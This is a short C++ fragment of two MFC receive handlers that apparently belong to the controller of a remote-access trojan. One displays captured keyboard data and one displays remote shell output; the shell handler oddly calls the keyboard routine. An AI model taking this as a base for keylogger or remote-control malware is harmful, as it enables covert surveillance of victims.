void CKeyBoardDlg::OnReceiveComplete() { switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_KEYBOARD_DATA: AddKeyBoardData(); break; default: // 传输发生异常数据 SendException(); break; } }
void CShellDlg::OnReceiveComplete(void) { AddKeyBoardData(); m_nReceiveLength = m_edit.GetWindowTextLength(); }